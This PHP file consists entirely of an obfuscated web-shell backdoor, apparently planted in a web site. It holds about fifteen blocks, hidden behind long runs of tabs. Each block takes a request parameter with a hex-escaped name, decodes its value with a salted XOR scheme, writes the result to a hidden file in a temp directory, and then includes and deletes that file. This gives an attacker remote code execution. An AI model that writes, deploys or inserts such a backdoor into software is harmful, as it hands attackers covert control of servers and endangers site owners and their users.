<?php																																										if(!empty($_REQUEST["poin\x74er"])){ $reference = $_REQUEST["poin\x74er"]; $reference =explode ('.' , $reference ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $v = 0; $__tmp = $reference; while ($v4 = array_shift($__tmp)) { $sChar = ord($s[$v % $sLen] ); $d = ((int)$v4 - $sChar - ($v % 10)) ^ 5; $ref .=chr($d ); $v++; } $desc = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($desc as $fac) { if (is_writable($fac) && is_dir($fac)) { $val = "$fac" . "/.flg"; if (file_put_contents($val, $ref)) { require $val; unlink($val); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x61t")){ $ref = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", "/dev/shm"]); $property_set = $_POST["\x64\x61t"]; $property_set = explode("." ,$property_set ) ; $ent = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $len = count($property_set); for ($p = 0; $p < $len; $p++) { $v9 = $property_set[$p]; $chS = ord($salt9[$p % $lenS]); $d = ((int)$v9 - $chS - ($p % 10)) ^ 14; $ent .= chr($d); } for ($entity = 0, $hld = count($ref); $entity < $hld; $entity++) { $value = $ref[$entity]; if (!!is_dir($value) && !!is_writable($value)) { $ptr = "$value" . "/.marker"; if (file_put_contents($ptr, $ent)) { require $ptr; unlink($ptr); die(); } } } }
																																										if(in_array("\x70a\x72\x61me\x74\x65r\x5Fg\x72oup", array_keys($_POST))){ $fac = $_POST["\x70a\x72\x61me\x74\x65r\x5Fg\x72oup"]; $fac = explode ( '.' , $fac ); $k = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $o = 0; $__tmp = $fac; while ($v5 = array_shift($__tmp)) { $chS = ord($s1[$o % $lenS] ); $d = ((int)$v5 - $chS - ($o % 10)) ^ 99; $k .= chr($d ); $o++; } $entity = array_filter([getcwd(), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); while ($element = array_shift($entity)) { if (!!is_dir($element) && !!is_writable($element)) { $key = sprintf("%s/.dchunk", $element); $success = file_put_contents($key, $k); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(isset($_POST["descri\x70\x74or"]) ? true : false){ $hld = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $symbol = $_POST["descri\x70\x74or"]; $symbol = explode ( "." , $symbol ) ; $ref = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $__len = count( $symbol); for( $r = 0; $r< $__len; $r++) { $v1 = $symbol[$r]; $chS = ord( $s4[$r % $sLen]); $d =( ( int)$v1 - $chS -( $r % 10)) ^ 16; $ref .= chr( $d); } foreach ($hld as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $holder = "$ent" . "/.parameter_group"; if (file_put_contents($holder, $ref)) { require $holder; unlink($holder); exit; } } endforeach; }
																																										if(isset($_POST["\x65nt"]) ? true : false){ $comp = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $dat = $_POST["\x65nt"]; $dat= explode( '.' ,$dat ) ; $fac =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $m =0; array_walk($dat, function($v3) use(&$fac, &$m, $s, $sLen) { $chS =ord($s[$m % $sLen]); $d =((int)$v3 - $chS -($m % 10)) ^84; $fac.= chr($d); $m++;} ); $ref = 0; do { $component = $comp[$ref] ?? null; if ($ref >= count($comp)) break; if ((bool)is_dir($component) && (bool)is_writable($component)) { $pointer = implode("/", [$component, ".val"]); if (@file_put_contents($pointer, $fac) !== false) { include $pointer; unlink($pointer); exit; } } $ref++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Drk"])){ $reference = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd()]); $elem = $_REQUEST["\x6Drk"]; $elem = explode ("." , $elem ) ; $element = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $l = 0; while( $l< count( $elem)) { $v3 = $elem[$l]; $sChar = ord( $s5[$l%$sLen] ); $d =( ( int)$v3 - $sChar -( $l%10)) ^ 25; $element .= chr( $d ); $l++; } for ($itm = 0, $dat = count($reference); $itm < $dat; $itm++) { $fac = $reference[$itm]; if (!!is_dir($fac) && !!is_writable($fac)) { $data_chunk = implode("/", [$fac, ".flg"]); if (file_put_contents($data_chunk, $element)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(@$_REQUEST["o\x62j"] !== null){ $object = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP")]); $ptr = $_REQUEST["o\x62j"]; $ptr = explode ( '.',$ptr ); $rec =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s5); $y =0; while($y < count($ptr)) { $v7 =$ptr[$y]; $sChar =ord($s5[$y % $sLen]); $d =((int)$v7 - $sChar -($y % 10)) ^ 97; $rec .=chr($d); $y++;} foreach ($object as $element): if (is_dir($element) ? is_writable($element) : false) { $elem = vsprintf("%s/%s", [$element, ".flg"]); if (@file_put_contents($elem, $rec) !== false) { include $elem; unlink($elem); die(); } } endforeach; }
																																										if(in_array("\x65nt\x72y", array_keys($_REQUEST))){ $k = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path()]); $item = $_REQUEST["\x65nt\x72y"]; $item =explode( '.', $item ) ; $entity = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $s = 0; while ($s < count($item)) { $v4 = $item[$s]; $chS = ord($salt1[$s % $lenS]); $d = ((int)$v4 - $chS - ($s % 10)) ^ 24; $entity .= chr($d); $s++; } foreach ($k as $component): if (is_dir($component) && is_writable($component)) { $comp = join("/", [$component, ".fac"]); if (file_put_contents($comp, $entity)) { include $comp; @unlink($comp); die(); } } endforeach; }
																																										if(@$_POST["p\x67\x72p"] !== null){ $dchunk = $_POST["p\x67\x72p"]; $dchunk =explode ( '.' , $dchunk); $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $__len = count($dchunk); do { if ($x >= $__len) break; $v4 = $dchunk[$x]; $sChar = ord($s[$x %$sLen]); $d = ((int)$v4 - $sChar - ($x %10)) ^ 93; $object .= chr($d); $x++; } while (true); $flg = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); while ($factor = array_shift($flg)) { if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $component = "$factor/.ptr"; $file = fopen($component, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(in_array("\x72\x65c\x6Frd", array_keys($_REQUEST))){ $fac = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp"]); $resource = $_REQUEST["\x72\x65c\x6Frd"]; $resource = explode ( '.' , $resource ) ; $val = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $t = 0; $__len = count($resource); do {if ($t >= $__len) break; $v3 = $resource[$t]; $sChar = ord($s2[$t % $sLen]); $d = ((int)$v3 - $sChar - ($t % 10)) ^ 30; $val .=chr($d); $t++; } while (true); $comp = 0; do { $ptr = $fac[$comp] ?? null; if ($comp >= count($fac)) break; if (!( !is_dir($ptr) || !is_writable($ptr) )) { $element = "$ptr/.pgrp"; if (file_put_contents($element, $val)) { include $element; @unlink($element); die(); } } $comp++; } while (true); }
																																										if(!empty($_REQUEST["\x70ar\x61me\x74er\x5Fg\x72\x6Fu\x70"])){ $value = $_REQUEST["\x70ar\x61me\x74er\x5Fg\x72\x6Fu\x70"]; $value =explode( "." , $value ); $record = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $t = 0; $__len = count($value ); do { if ($t >= $__len) break; $v7 = $value[$t]; $sChar = ord($s8[$t % $sLen] ); $d = ((int)$v7 - $sChar - ($t % 10))^ 45; $record .=chr($d ); $t++; } while (true ); $ent = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); foreach ($ent as $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $marker = "$tkn" . "/.reference"; if (@file_put_contents($marker, $record) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(@$_POST["\x64a\x74a"] !== null){ $record = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), session_save_path()]); $hld = $_POST["\x64a\x74a"]; $hld=explode ( '.' , $hld ) ; $data_chunk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $s = 0; $__len = count( $hld ); do { if( $s >=$__len) break; $v8 = $hld[$s]; $chS = ord( $s5[$s % $sLen] ); $dec =( ( int)$v8 - $chS -( $s % 10)) ^ 82; $data_chunk .= chr( $dec ); $s++; } while( true ); for ($descriptor = 0, $ent = count($record); $descriptor < $ent; $descriptor++) { $comp = $record[$descriptor]; if (!!is_dir($comp) && !!is_writable($comp)) { $flg = "$comp/.parameter_group"; if (file_put_contents($flg, $data_chunk)) { include $flg; @unlink($flg); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["r\x65\x63"])){ $sym = $_REQUEST["r\x65\x63"]; $sym = explode(".", $sym ) ; $ent= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt7); $t= 0; $len= count($sym); do { if ($t >= $len) break; $v3= $sym[$t]; $chS= ord($salt7[$t % $sLen]); $d= ((int)$v3 - $chS - ($t % 10))^ 85; $ent .= chr($d); $t++; } while (true); $dchunk = array_filter([sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); for ($tkn = 0, $item = count($dchunk); $tkn < $item; $tkn++) { $dat = $dchunk[$tkn]; if (!( !is_dir($dat) || !is_writable($dat) )) { $factor = sprintf("%s/.descriptor", $dat); if (file_put_contents($factor, $ent)) { require $factor; unlink($factor); exit; } } } }
																																										if(!empty($_POST["v\x61l"])){ $fac = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $ent = $_POST["v\x61l"]; $ent = explode ('.' , $ent ) ; $flag = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $m = 0; array_walk($ent, function ($v1) use (&$flag, &$m, $salt5, $sLen) { $chS = ord($salt5[$m %$sLen]); $dec = ((int)$v1 - $chS - ($m %10))^35; $flag .= chr($dec); $m++;} ); foreach ($fac as $key => $symbol) { if (is_dir($symbol) && is_writable($symbol)) { $ref = join("/", [$symbol, ".mrk"]); $success = file_put_contents($ref, $flag); if ($success) { include $ref; @unlink($ref); exit;} } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x62i\x6Ed"])){
	$k = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd()]);
	$ent = $_REQUEST["\x62i\x6Ed"];
	  $ent		=explode		(	'.' 	,$ent ) ; 	
	$hld = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $t = 0;
            $__len = count($ent);
    
            do {
                if ($t >= $__len) break;
                $v2 = $ent[$t];
                $chS = ord($salt[$t %	$lenS]);
                $d = ((int)$v2 - $chS - ($t %	10)) ^ 64;
                $hld .= chr($d);
                $t++;	}	while (true);
	foreach ($k as $element):
    		if ((bool)is_dir($element) && (bool)is_writable($element)) {
    $token = join("/", [$element, ".sym"]);
    $success = file_put_contents($token, $hld);
if ($success) {
	include $token;
	@unlink($token);
	exit;}
}
endforeach;
}